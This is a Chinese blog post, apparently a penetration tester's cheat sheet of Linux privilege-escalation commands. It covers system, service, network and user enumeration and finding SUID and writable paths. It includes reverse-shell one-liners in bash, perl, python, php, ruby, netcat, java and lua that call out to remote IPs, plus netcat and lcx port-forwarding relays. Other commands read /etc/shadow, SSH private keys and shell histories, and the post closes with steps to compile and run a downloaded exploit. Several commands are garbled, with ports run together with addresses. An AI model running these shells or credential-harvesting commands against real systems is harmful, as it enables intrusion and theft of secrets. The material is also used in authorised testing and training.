z0nek

z0nek

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2017-01-18

Linux 提权常用命令集

0x00 操作系统相关

操作系统类型版本

  1. cat /etc/issue

  2. cat /etc/*-release

  3. cat /etc/lsb-release      # Debian

  4. cat /etc/redhat-release   # Redhat

内核版本，是否是64位

  1. cat /proc/version

  2. uname -a

  3. uname -mrs

  4. rpm -q kernel

  5. dmesg | grep Linux

  6. ls /boot | grep vmlinuz-

环境变量

  1. cat /etc/profile

  2. cat /etc/bashrc

  3. cat ~/.bash_profile

  4. cat ~/.bashrc

  5. cat ~/.bash_logout

  6. env

  7. set

查看是否有打印机

  1. lpstat -a

0x01 应用与服务相关

查看正在运行的程序及对应的用户权限

  1. ps aux

  2. ps -ef

  3. top

  4. cat /etc/services

以root权限运行的进程

  1. ps aux | grep root

  2. ps -ef | grep root

查看安装了的应用

  1. ls -alh /usr/bin/

  2. ls -alh /sbin/

  3. dpkg -l

  4. rpm -qa

  5. ls -alh /var/cache/apt/archives

  6. ls -alh /var/cache/yum/

一些服务的配置文件

  1. cat /etc/syslog.conf

  2. cat /etc/chttp.conf

  3. cat /etc/lighttpd.conf

  4. cat /etc/cups/cupsd.conf

  5. cat /etc/inetd.conf

  6. cat /etc/apache2/apache2.conf

  7. cat /etc/my.conf

  8. cat /etc/httpd/conf/httpd.conf

  9. cat /opt/lampp/etc/httpd.conf

  10. ls -aRl /etc/| awk '$1 ~ /^.*r.*/'

计划任务

  1. crontab -l

  2. ls -alh /var/spool/cron

  3. ls -al /etc/| grep cron

  4. ls -al /etc/cron*

  5. cat /etc/cron*

  6. cat /etc/at.allow

  7. cat /etc/at.deny

  8. cat /etc/cron.allow

  9. cat /etc/cron.deny

  10. cat /etc/crontab

  11. cat /etc/anacrontab

  12. cat /var/spool/cron/crontabs/root

找存储的明文用户名，密码

  1. grep -i user [filename]

  2. grep -i pass[filename]

  3. grep -C 5"password"[filename]

  4. find .-name "*.php"-print0 | xargs -0 grep -i -n "var $password"# Joomla

0x02 通信与网络相关

查看当前网络地址

  1. /sbin/ifconfig -a

  2. cat /etc/network/interfaces

  3. cat /etc/sysconfig/network

查看网络配置,DNS,DHCP,网关

  1. cat /etc/resolv.conf

  2. cat /etc/sysconfig/network

  3. cat /etc/networks

  4. iptables -L

  5. hostname

  6. dnsdomainname

查看网络通信

  1. lsof -i

  2. lsof -i :80

  3. grep 80/etc/services

  4. netstat -antup

  5. netstat -antpx

  6. netstat -tulpn

  7. chkconfig --list

  8. chkconfig --list | grep 3:on

  9. last

  10. w

查看缓存

  1. arp -e

  2. route

  3. /sbin/route -nee

tcpdump

  1. tcpdump tcp dst 192.168.1.780and tcp dst 10.2.2.22221

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

交互式shell

bash版本：

  1. bash -i >&/dev/tcp/10.0.0.1/80800>&1

perl版本:

  1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本：

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本：

  1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本：

  1. nc -e /bin/sh 223.8.200.2341234

nc不使用-e：

  1. mknod /tmp/backpipe p

  2. /bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

mknod:

  1. mknod backpipe p && telnet 173.214.173.15180800backpipe

java版本：

  1. r =Runtime.getRuntime()

  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

  3. p.waitFor()

lua版本：

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

端口转发

lcx -<listen|tran|slave>

  1. lcx -listen 456733891#Attacker

  2. lcx -slave 111.222.333.4444567127.0.0.13389# On the targets

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

  1. ssh -L 8080:127.0.0.1:80 root@192.168.1.7# Local Port

  2. ssh -R 8080:127.0.0.1:80 root@192.168.1.7# Remote Port

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

  1. mknod backpipe p ; nc -l -p 8080< backpipe | nc 10.1.1.25180>backpipe    

  2. mknod backpipe p ; nc -l -p 80800&< backpipe | tee -a inflow | nc localhost 80| tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

  3. mknod backpipe p ; nc -l -p 80800&< backpipe | tee -a inflow | nc localhost 80| tee -a outflow &1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道

  1. ssh -D 127.0.0.1:9050-N [username]@[ip]

  2. proxychains ifconfig

0x03 用户相关

用户信息

  1. id

  2. who

  3. w

  4. last

  5. cat /etc/passwd

  6. cat /etc/group

  7. cat /etc/shadow

  8. ls -alh /var/mail/

  9. grep -v -E "^#"/etc/passwd | awk -F:'$3 == 0 { print $1}'# 列出超级用户

  10. awk -F:'($3 == "0") {print}'/etc/passwd   #列出超级用户

  11. cat /etc/sudoers

  12. sudo -l

列家目录

  1. ls -ahlR /root/

  2. ls -ahlR /home/

从配置文件里面寻找密码

  1. cat /var/apache2/config.inc

  2. cat /var/lib/mysql/mysql/user.MYD

  3. cat /root/anaconda-ks.cfg

看其他用户的操作记录

  1. cat ~/.bash_history

  2. cat ~/.nano_history

  3. cat ~/.atftp_history

  4. cat ~/.mysql_history

  5. cat ~/.php_history

ssh私钥

  1. cat ~/.ssh/authorized_keys

  2. cat ~/.ssh/identity.pub

  3. cat ~/.ssh/identity

  4. cat ~/.ssh/id_rsa.pub

  5. cat ~/.ssh/id_rsa

  6. cat ~/.ssh/id_dsa.pub

  7. cat ~/.ssh/id_dsa

  8. cat /etc/ssh/ssh_config

  9. cat /etc/ssh/sshd_config

  10. cat /etc/ssh/ssh_host_dsa_key.pub

  11. cat /etc/ssh/ssh_host_dsa_key

  12. cat /etc/ssh/ssh_host_rsa_key.pub

  13. cat /etc/ssh/ssh_host_rsa_key

  14. cat /etc/ssh/ssh_host_key.pub

  15. cat /etc/ssh/ssh_host_key

0x04 文件系统相关

/etc/目录下面文件

  1. ls -aRl /etc/| awk '$1 ~ /^.*w.*/'2>/dev/null# Anyone

  2. ls -aRl /etc/| awk '$1 ~ /^..w/'2>/dev/null# Owner

  3. ls -aRl /etc/| awk '$1 ~ /^.....w/'2>/dev/null# Group

  4. ls -aRl /etc/| awk '$1 ~ /w.$/'2>/dev/null# Other

  5. find /etc/-readable -type f 2>/dev/null# Anyone

  6. find /etc/-readable -type f -maxdepth 12>/dev/null# Anyone

日志文件

  1. ls -alh /var/log

  2. ls -alh /var/mail

  3. ls -alh /var/spool

  4. ls -alh /var/spool/lpd

  5. ls -alh /var/lib/pgsql

  6. ls -alh /var/lib/mysql

  7. cat /var/lib/dhcp3/dhclient.leases

查看网站文件

  1. ls -alhR /var/www/

  2. ls -alhR /srv/www/htdocs/

  3. ls -alhR /usr/local/www/apache22/data/

  4. ls -alhR /opt/lampp/htdocs/

  5. ls -alhR /var/www/html/

常见日志文件

  1. cat /etc/httpd/logs/access_log

  2. cat /etc/httpd/logs/access.log

  3. cat /etc/httpd/logs/error_log

  4. cat /etc/httpd/logs/error.log

  5. cat /var/log/apache2/access_log

  6. cat /var/log/apache2/access.log

  7. cat /var/log/apache2/error_log

  8. cat /var/log/apache2/error.log

  9. cat /var/log/apache/access_log

  10. cat /var/log/apache/access.log

  11. cat /var/log/auth.log

  12. cat /var/log/chttp.log

  13. cat /var/log/cups/error_log

  14. cat /var/log/dpkg.log

  15. cat /var/log/faillog

  16. cat /var/log/httpd/access_log

  17. cat /var/log/httpd/access.log

  18. cat /var/log/httpd/error_log

  19. cat /var/log/httpd/error.log

  20. cat /var/log/lastlog

  21. cat /var/log/lighttpd/access.log

  22. cat /var/log/lighttpd/error.log

  23. cat /var/log/lighttpd/lighttpd.access.log

  24. cat /var/log/lighttpd/lighttpd.error.log

  25. cat /var/log/messages

  26. cat /var/log/secure

  27. cat /var/log/syslog

  28. cat /var/log/wtmp

  29. cat /var/log/xferlog

  30. cat /var/log/yum.log

  31. cat /var/run/utmp

  32. cat /var/webmin/miniserv.log

  33. cat /var/www/logs/access_log

  34. cat /var/www/logs/access.log

  35. ls -alh /var/lib/dhcp3/

  36. ls -alh /var/log/postgresql/

  37. ls -alh /var/log/proftpd/

  38. ls -alh /var/log/samba/

文件挂载

  1. mount

  2. df -h

  3. cat /etc/fstab

Find命令

  1. find /-perm -1000-type d 2>/dev/null# 只有目录所有者才可以更改删除

  2. find /-perm -g=s -type f 2>/dev/null# SGID (chmod 2000) - run as the group, not the user who started it.

  3. find /-perm -u=s -type f 2>/dev/null# SUID (chmod 4000) - run as the owner, not the user who started it.

  4. find /-perm -g=s -o -perm -u=s -type f 2>/dev/null# SGID or SUID

  5. for i in`locate -r "bin$"`;do find $i \( -perm -4000-o -perm -2000 \) -type f 2>/dev/null;done# 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找 

  6. find /-perm -g=s -o -perm -4000!-type l -maxdepth 3-exec ls -ld {} \; 2>/dev/null#从/，SGUD或者SUID开始查找，排除符号链接，深度为3个文件夹，显示详细的清单并去除错误信息

寻找可写目录

  1. find /-writable -type d 2>/dev/null# 可写目录

  2. find /-perm -222-type d 2>/dev/null# 可写目录 

  3. find /-perm -o w -type d 2>/dev/null# 可写目录

  4. find /-perm -o x -type d 2>/dev/null# 可执行目录

  5. find / \( -perm -o w -perm -o x \) -type d 2>/dev/null# 可写可执行

  6. 目录

查找文件

  1. find /-xdev -type d \( -perm -0002-a !-perm -1000 \) -print2>/dev/null# 可写文件

  2. find / dir -xdev \( -nouser -o -nogroup \) -print2>/dev/null# 无所有者文件

0x05 准备及攻击

查看语言支持

  1. find /-name perl*

  2. find /-name python*

  3. find /-name gcc*

  4. find /-name cc

查看上传方式

  1. find /-name wget

  2. find /-name nc*

  3. find /-name netcat*

  4. find /-name tftp*

  5. find /-name ftp

寻找exp
https://www.exploit-db.com
https://1337day.com
https://www.securiteam.com
https://www.securityfocus.com
https://www.exploitsearch.net
https://metasploit.com/modules/
https://securityreason.com
https://seclists.org/fulldisclosure/
https://www.google.com

编译exp

  1. which gcc

  2. gcc exp.c -o exp

运行

  1. chmod +x exp

  2. ./exp

0x06 提权辅助脚本

LinEnum

linuxprivchecker.py

以上可能不全，请各位大大指正或补充。多多学习交流。

标签：提权 linux

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